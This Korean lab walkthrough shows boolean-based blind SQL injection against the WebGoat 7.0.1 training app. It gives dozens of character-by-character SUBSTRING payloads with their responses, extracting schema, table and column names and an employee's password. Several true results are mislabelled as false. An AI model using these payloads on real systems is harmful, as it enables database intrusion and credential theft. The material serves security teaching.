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WebGoat: Blind Numeric SQL Injection 실습설명서

이 문서는 WebGoat 7.0.1의 "Injection Flaws" > "Blind Numeric SQL Injection"의 실습 설명서이다. 웹브라우저가 전달하는 사용자의 입력값을 서버가 검증하지 않고 SQL해석기(SQL Parser)에 전달할 때 발생할 수 있는 문제점을 배울 수 있다. 이 실습문제에서는 참/거짓 조건을 이용하여 데이터베이스 내용을 한글자씩 유출하는 SQL 구문삽입을 수작업으로 진행한다.

WH-WebGoat-7.0.1 웹해킹 훈련장을 구동한다. 구동에 관해서는 WH-WebGoat-7.0.1 라이브 ISO 문서를 참조한다. 여기서 WebGoat 훈련장의 IP주소는 192.168.189.238이다.

WebGoat 실행이 완료되면 파이어폭스(FireFox) 웹브라우저로 훈련장에 접속한다. 훈련장 URL은 http://192.168.189.238:8080/WebGoat/이다. 접속 후 guest:guest로 로그인한다.

Injection Flaws: Blind Numeric SQL Injection에서의 추리형 SQL 구문삽입의 이해

유니온(UNION) 기반 SQL 구문삽입 취약점을 이용하면 대부분의 경우 데이터베이스를 직접유출할 수 있다. 반면 SQL문 삽입의 결과가 참/거짓(Blind SQLi) 또는 시간차(Time-based SQLi)로 나타나는 경우에는 데이터베이스 내용을 - 일련의 비교를 통해서 - 간접적으로 알아낼 수 있다(간접유출). 직접유출은 데이터베이스를 열람할 수 있는 SQL문을 직접 삽입하여 내용을 유출할 수 있으므로 빠르다. 간접유출은 - 매우 많은 - 일련의 비교 과정을 거쳐야하기 때문에 시간이 많이 걸리는 작업이다. 매우 많은 접속이 이루어져야햐기 때문에 직접유출 방식에 비해서는 정보보호장비에 탐지될 확률도 훨씬 높다.

Firefox 웹 브라우저로 WebGoat: Blind Numeric SQL Injection 실습문제에 접속해보자. 이 홈페이지는 숫자를 입력했을 때 유효한 계정번호(Account Number)인지를 판별해주는 웹 애플리케이션이다. 입력값이 101인 상태에서 "Go!"를 눌러 보자. "Account number is valid."라는 결과가 보인다. 101은 유효한 계정번호이다.

[ SQL 구문삽입 탐지 ]

SQL구문삽입의 단서는 기본적으로 작은따옴표(')를 입력값에 덧붙여서 추론할 수 있다. 이 문제에서 101'를 입력하면 An error occurred, please try again.라는 결과가 출력된다. 아마도 SQL 문법상의 오류가 발생하였을 것으로 추정한다. 유효한 계정번호인 101을 조작하여 SQL구문삽입을 진단할 수 있다. 1010/10 (valid), 10101-10000 (valid), 101 AND 1=2 -- (invalid), 101 AND 1=1 -- (valid), 101 OR 1=2 -- (invalid) 등과 같은 결과를 관찰할 수 있다. 사칙연산과 AND, OR의 부을 연산자(Boolean Operator)가 작동하므로 SQL 구문삽입 취약점이 존재함을 확인할 수 있다.

웹해킹이나 웹취약점분석 과정에서는 SQL 구문삽입 여부만을 판단하면 되므로 더 이상의 분석을 중단하고 취약점이 존재한다고 결론을 내려도 된다. 취약점 증빙자료로는 AND, OR 연산자를 삽입한 결과 화면을 갈무리하여 첨부하면 된다.


[ 참/거짓 판별조건 확보 ]

이제 10100/100을 입력해보자. "Account number is valid."라는 결과가 보인다. 10100/100101로 계산되므로 SQL해석기가 유효한 계정번호라고 판단하였다.

WebGoat Blind SQL Injection (숫자형): 참 조건
[ WebGoat: Blind Numeric SQL Injeciton, '10100/100' 입력 결과 = 참(TRUE) ]

이제 10100을 입력해보자. 이번에는 "Invalid account number."라는 결과가 나온다. 10100는 SQL해석기가 유효하지 않은 계정번호라고 판단하였다. 아마도 존재하지 않는 계정번호일 것이다.

WebGoat Blind SQL Injection (숫자형): 거짓 조건
[ WebGoat: Blind Numeric SQL Injeciton, '10100' 입력 결과 = 거짓(FALSE) ]

WebGoat: Blind Numeric SQL Injection 문제는 SQL문 삽입 취약점이 있지만 페이지 내에서 데이터베이스 내용을 출력하지는 않는다. 이렇게 데이터베이스의 내용이 보이지 않는 형태의 취약점을 "눈먼 SQL 구문삽입"(Blind SQL Injection)이라고 한다. 형태 상으로는 눈먼 취약점이다. 이런 취약점을 이용하여 데이터 유출을 할 때는 공격자가 삽입하는 SQL문이 참(true)인지 거짓(false)인지를 지속적으로 판별하여 조금씩 조금씩 데이터를 추리해낸다. 그래서 "추리기반 SQL구문삽입"이라고 할 수 있다.

추리기반 SQL구문삽입을 이용하여 데이터베이스를 유출하기 위해서는 참/거짓 판별기준이 필요하다. WebGoat: Blind Numeric SQL Injection 문제에서 입력이 참(true)인 경우에는 "Account number is valid."라는 문자열이 출력된다. 거짓(false)인 경우에는 "Invalid account number."이다. 참고로, SQL 문법이 틀리면 "An error occurred, please try again."라는 경고를 볼 수 있다. 이 경고는 공격자가 SQL문 삽입을 할 때 거짓인지 문법오류인지를 알려주기 때문에 중요한 역할을 한다.

[ 추리기반 SQL구문삽입을 수작업으로 진행해보기 ]

WebGoat: Blind Numeric SQL Injection에서는 The HSQL Development Group이 개발하여 배포하는 무료 DBMS인 HSQLDB(HyperSQL DataBase)를 기반으로 하고 있다 (DBMS 탐지도 SQL구문삽입에서 중요한 문제이지만 여기서는 일단 다른 곳에서 알아낸 것으로 가정한다). HSQLDB에서 데이터베이스 구조는 정보스키마(INFORMATION_SCHEMA) 데이터베이스의 여러 테이블에 저장되어 있다. 이 실습 문제에서는 INFORMATION_SCHEMA.SYSTEM_COLUMNS 테이블을 이용하여 데이터베이스 구조를 유출할 것이다. 이 테이블은 다음과 같은 컬럼들로 구성되어 있다.

    HSQL 1.8.0 INFORMATION_SCHEMA.SYSTEM_COLUMNS 내용
    -----------------  --------  -----  --------  ----------  -----
    NAME               DATATYPE  WIDTH  NO-NULLS   PRECISION  SCALE
    -----------------  --------  -----  --------  ----------  -----
    TABLE_CAT          VARCHAR   32766            2147483647
    TABLE_SCHEM        VARCHAR   32766            2147483647
    TABLE_NAME         VARCHAR   32766  *         2147483647
    COLUMN_NAME        VARCHAR   32766  *         2147483647
    DATA_TYPE          SMALLINT      6  *                  5
    TYPE_NAME          VARCHAR      32  *         2147483647
    COLUMN_SIZE        INTEGER      11                    10
    BUFFER_LENGTH      INTEGER      11                    10
    DECIMAL_DIGITS     INTEGER      11                    10
    NUM_PREC_RADIX     INTEGER      11                    10
    NULLABLE           INTEGER      11  *                 10
    REMARKS            VARCHAR   32766            2147483647
    COLUMN_DEF         VARCHAR   32766            2147483647
    SQL_DATA_TYPE      INTEGER      11                    10
    SQL_DATETIME_SUB   INTEGER      11                    10
    CHAR_OCTET_LENGTH  INTEGER      11                    10
    ORDINAL_POSITION   INTEGER      11  *                 10
    IS_NULLABLE        VARCHAR       3  *         2147483647
    SCOPE_CATLOG       VARCHAR   32766            2147483647
    SCOPE_SCHEMA       VARCHAR   32766            2147483647
    SCOPE_TABLE        VARCHAR   32766            2147483647
    SOURCE_DATA_TYPE   VARCHAR   32766            2147483647
    TYPE_SUB           INTEGER      11  *                 10
    -----------------  --------  -----  --------  ----------  -----

INFORMATION_SCHEMA.SYSTEM_COLUMNS 테이블의 세 컬럼 TABLE_SCHEM (데이터베이스 이름), TABLE_NAME (테이블 이름), COLUMN_NAME (컬럼 이름)을 이용하면 DB유출을 위한 기본적인 정보는 파악할 수 있다. 경우에 따라서는 TYPE_NAME (데이타 형태) 컬럼도 도움이 될 수 있다.

이러한 사전 지식을 바탕으로 HSQLDB가 관리하는 데이터베이스 목록을 열람할 수 있는 SQL문을 작성하면 다음과 같을 것이다.

SELECT TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS

이 SQL문은 INFORMATION_SCHEMA.SYSTEM_COLUMNS 테이블이 저장하고 있는 모든 TABLE_SCHEM 값을 가져온다. TABLE_SCHEM는 데이터베이스 이름을 저장하는 컬럼이다. 결과적으로 위의 SQL문에 의해 HSQLDB가 관리하는 모든 데이터베이스 이름이 출력된다.

우리는 이미 HSQLDB의 정보스키마 데이터베이스 이름을 알고 있다. INFORMATION_SCHEMA이다. 연산을 줄이기 위해서는 이 이름을 SQL문에서 제거하는 것이 좋다.

SELECT TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'

표준 SQL에서 NOT EQUAL<>이다. 하지만 대부분의 DBMS가 NOT EQUAL 연산자로 !=를 지원한다. 이 연산자가 표준에 비해서 이해하기도 쉽고 웹에서는 입력이 좀 더 편리하다. 이 때문에 위의 SQL문에서는 !=를 이용하여 SQL연산 결과에서 INFORMATION_SCHEMA를 제외하였다.

눈먼 SQL 삽입(Blind SQL Injection)을 이용하여 데이터베이스를 열람하기 위해서는 1개의 값만을 사용해야 한다. 때문에 SELECT의 결과 값이 하나여야 한다. 이를 위해 LIMIT 연산자를 이용하여 1개의 DB 이름만을 가져오게 해야한다.

SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'

LIMIT 1 1은 전체 결과의 1번부터 1개를 가져오라는 의미이다. 전체 결과의 세번째부터 네개를 가져오려면 LIMIT 3 4로 표기하면 된다.

이제 데이터베이스 이름을 하나씩 가져올 수 있는 SQL문 작성이 완료되었다. DB이름을 알아내려면 아래와 같은 SQL문을 작성할 수 있을 것이다.

(SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA') = 'database_name'

이제 위의 SQL문에서 사용한 database_name을 변경하면서 참/거짓을 판별하면 데이터베이스 이름을 알아낼 수 있다. HSQLDB에서 INFORMATION_SCHEMA라는 이름은 시스템이 기본으로 만들기 때문에 알 수 있는 이름이다. 하지만 그 이외의 다른 DB 이름은 관리자가 생성한 이름이므로 database_name을 추측해내기란 매우 어려운일이다. 경우의 수가 너무 많기 때문이다.

문자열 전체보다는 각각의 문자를 비교하면 연산을 크게 줄일 수 있다. 부분문자열 함수(SUBSTRING())를 이용하여 각 문자를 비교하도록 SQL문을 수정해보자. (SUBSTRING(SELECT문, 2, 1) = 'A')SELECT문이 받아 온 문자열의 두번째부터 시작하는 문자 1개의 값이 A인지를 비교하여 참 또는 거짓을 반환한다.

(SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'A')

이 SQL문은 데이터베이스 이름의 첫번째 글자가 'A'인지를 묻는다. 이제 이 SQL문을 WebGoat: Blind Numeric SQL Injection 실습문제에 삽입해보자.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'A') -- 

101은 유효한 계정번호임을 이미 알고 있다. 그리고 빨간 색으로 표현된 부분이 참이라면 위의 입력에 의해서 WebGoat: Blind Numeric SQL Injection 실습문제는 "Account number is valid."라는 결과를 출력할 것이다. 거짓일 경우에는 "Invalid account number."이 출력된다. 이 과정을 "A, B, C, ..., Z, a, b, c, ..., Z, 0, 1, 2, 3, ..., 9, -, _, ..."등의 문자에 대해서 반복한다. 그리고 문자열의 끝을 검사하는 부분에서는 HSQLDB에서 지원하는 is null이라는 연산자를 사용한다.

[ Blind SQL Injection을 이용한 데이터베이스 이름 알아내기 ]

문자를 하나씩 비교하면서 첫번째 데이터베이스 이름을 알아내 보자.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'A') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 첫번째 글자는 'A'가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'B') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 첫번째 글자는 'B'가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'C') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 첫번째 글자는 'C'가 아니다.

... 중간과정 생략 ...

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'O') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 첫번째 글자는 'O'가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),1,1 ) = 'P') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 첫번째 글자는 'P'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),2,1 ) is null) -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 두번째 글자는 null이 아니다. DB이름은 "P"가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),2,1 ) = 'A') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 두번째 글자는 'A'가 아니다.

... 중간과정 생략 ...

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),2,1 ) = 'U') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 두번째 글자는 'U'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),3,1 ) is null) -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 세번째 글자는 null이 아니다. DB이름은 "PU"가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),3,1 ) = 'A') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 세번째 글자는 'A'가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),3,1 ) = 'B') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 세번째 글자는 'B'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),4,1 ) is null) -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 네번째 글자는 null이 아니다. DB이름은 "PUB"가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),4,1 ) = 'A') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 네번째 글자는 'A'가 아니다.

... 중간과정 생략 ...

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),4,1 ) = 'L') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 네번째 글자는 'L'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),5,1 ) is null) -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 다섯번째 글자는 null이 아니다. DB이름은 "PUBL"가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),5,1 ) = 'A') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 다섯번째 글자는 'A'가 아니다.

... 중간과정 생략 ...

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),5,1 ) = 'I') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 다섯번째 글자는 'I'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),6,1 ) is null) -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 여섯번째 글자는 null이 아니다. DB이름은 "PUBLI"가 아니다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),6,1 ) = 'A') -- 

참/거짓 단서: Invalid account number.
거짓이다. 첫번째 데이터베이스 이름의 다섯번째 글자는 'A'가 아니다.

... 중간과정 생략 ...

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),6,1 ) = 'C') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 다섯번째 글자는 'C'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_SCHEM FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA'),7,1 ) is null) -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 데이터베이스 이름의 일곱번째 글자는 null이다. DB이름은 "PUBLIC"이다.

PUBLIC 데이터베이스 이외에 또 다른 데이터베이스가 있는 지 검사한다. 여러가지 방법이 있겠지만 여기서는 간단하게 TABLE_SCHEM에서 INFORMATION_SCHEMAPUBLIC를 제외한 결과가 있는 지를 검사하였다.

101 AND ( (SELECT COUNT(TABLE_SCHEM) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM != 'INFORMATION_SCHEMA' AND TABLE_SCHEM != 'PUBLIC') > 0 ) -- 

참/거짓 단서: Invalid account number.
거짓이다. 즉 더 이상의 DB는 없다.

[ Blind SQL Injection을 이용한 테이블 이름 알아내기 ]

이제 PUBLIC 데이터베이스에 포함된 테이블 이름을 TABLE_NAME 컬럼으로부터 알아내 보자.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),1,1 ) = 'A') -- 

참/거짓 단서: Account number is valid.
거짓이다. 첫번째 테이블 이름의 첫번째 글자는 'A'이다.

이후의 Account number is valid.를 출력하는 조건을 나열해보면 다음과 같다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),2,1 ) = 'U') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),3,1 ) = 'T') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),4,1 ) = 'H') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),5,1 ) is null) -- 

첫번째 테이블의 이름은 AUTH이다.

101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),1,1 ) = 'E') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),2,1 ) = 'M') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),3,1 ) = 'P') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),4,1 ) = 'L') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),5,1 ) = 'O') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),6,1 ) = 'Y') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),7,1 ) = 'E') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),8,1 ) = 'E') -- 
101 AND (SUBSTRING( (SELECT LIMIT 2 1 TABLE_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_SCHEM = 'PUBLIC'),9,1 ) is null) -- 

두번째 테이블의 이름은 EMPLOYEE이다.

[ Blind SQL Injection을 이용한 AUTH 테이블의 컬럼 이름 알아내기 ]

동일한 방식으로 AUTH 테이블의 컬럼이름은 COLUMN_NAME 컬럼으로부터 알아낼 수 있다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),1,1 ) = 'F') -- 

참/거짓 단서: Account number is valid.
거짓이다. AUTH 테이블의 첫번째 컬럼 이름의 첫번째 글자는 'F'이다.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),1,1 ) = 'F') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),2,1 ) = 'U') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),3,1 ) = 'N') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),4,1 ) = 'C') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),5,1 ) = 'T') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),6,1 ) = 'I') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),7,1 ) = 'O') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),8,1 ) = 'N') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),9,1 ) = 'I') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),10,1 ) = 'D') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 COLUMN_NAME FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE TABLE_NAME = 'AUTH'),11,1 ) is null) -- 

AUTH 테이블의 첫번째 컬럼이름은 FUNCTIONID이다. 이러한 방식으로 테이블의 컬럼들을 모두 구해낼 수 있다.

[ Blind SQL Injection을 이용한 EMPLOYEE 테이블의 내용 유출하기 ]

위와 같은 방식으로 EMPLOYEE 테이블은 이름, 주소, 전화번호, ID(USERID), 비밀번호(PASSWORD) 등의 개인정보가 포함된 테이블임을 알 수 있다. EMPLOYEE 테이블의 USERID 컬럼을 알아내보자.

101 AND (SUBSTRING( (SELECT LIMIT 1 1 USERID FROM EMPLOYEE),1,1 ) = '1') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 USERID FROM EMPLOYEE),2,1 ) = '0') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 USERID FROM EMPLOYEE),3,1 ) = '2') -- 
101 AND (SUBSTRING( (SELECT LIMIT 1 1 USERID FROM EMPLOYEE),4,1 ) is null) -- 

첫번째 USERID는 102이다. 이 사용자의 비밀번호를 알아내 보자.

101 AND (SUBSTRING( (SELECT PASSWORD FROM EMPLOYEE WHERE USERID = '102'),1,1 ) = 'm') -- 
101 AND (SUBSTRING( (SELECT PASSWORD FROM EMPLOYEE WHERE USERID = '102'),2,1 ) = 'o') -- 
101 AND (SUBSTRING( (SELECT PASSWORD FROM EMPLOYEE WHERE USERID = '102'),3,1 ) = 'e') -- 
101 AND (SUBSTRING( (SELECT PASSWORD FROM EMPLOYEE WHERE USERID = '102'),4,1 ) is null) -- 

이제 USERID가 102인 직원의 비밀번호가 "moe"인 것을 유출하였다. 이러한 과정을 반복하면 Blind SQLi 취약점이 있을 경우에도 데이터베이스를 유출할 수 있음을 알 수 있다.

마무리

지금까지 눈먼 SQL구문삽입(Blind SQLi) 취약점을 이용하여 데이터베이스를 유출하는 방법을 살펴보았다. DBMS마다 SQL 문법이 조금씩 다를 수 있기 때문에 해당 DBMS의 설명서를 참조하면 여기서 사용한 방법을 MySQL, Oracle, MS SQL Server 등의 다른 DBMS에도 적용할 수 있다.

이 실습서에서는 참/거짓을 판명하기 위해서 =(같다) 연산자를 사용하였다. 빠른 이해를 돕기 위해서다. 실제 SQL 공격도구에서는 >(크다), < 연산자를 사용한다. 같다 연산자를 사용하면 모든 경우에 대해서 순차적으로 비교해야 하지만 크다, 작다를 이용하면 - 계산 대상의 범위를 반씩 줄일 수 있기 때문에 - 비교 연산의 수를 크게 줄일 수 있다 (이진탐색, binary search). 등호(=)에서의 연산 숫자가 n이라면 부등호 사용시의 연산 횟수는 log(n)으로 줄어든다.

Blind SQLi를 이용하여 간접적으로 DB를 유출하는 방식은 연산이 매우 많은 시간이 걸린다. 실제 공격이라면 프로그래밍을 통해 DB 유출을 자동화할 것이다. 웹취약점분석에서는 범용 SQL 공격도구인 sqlmap을 사용하는 것이 편리하다.

[처음 작성한 날: 2016.12.18]    [마지막으로 고친 날: 2016.12.19] 


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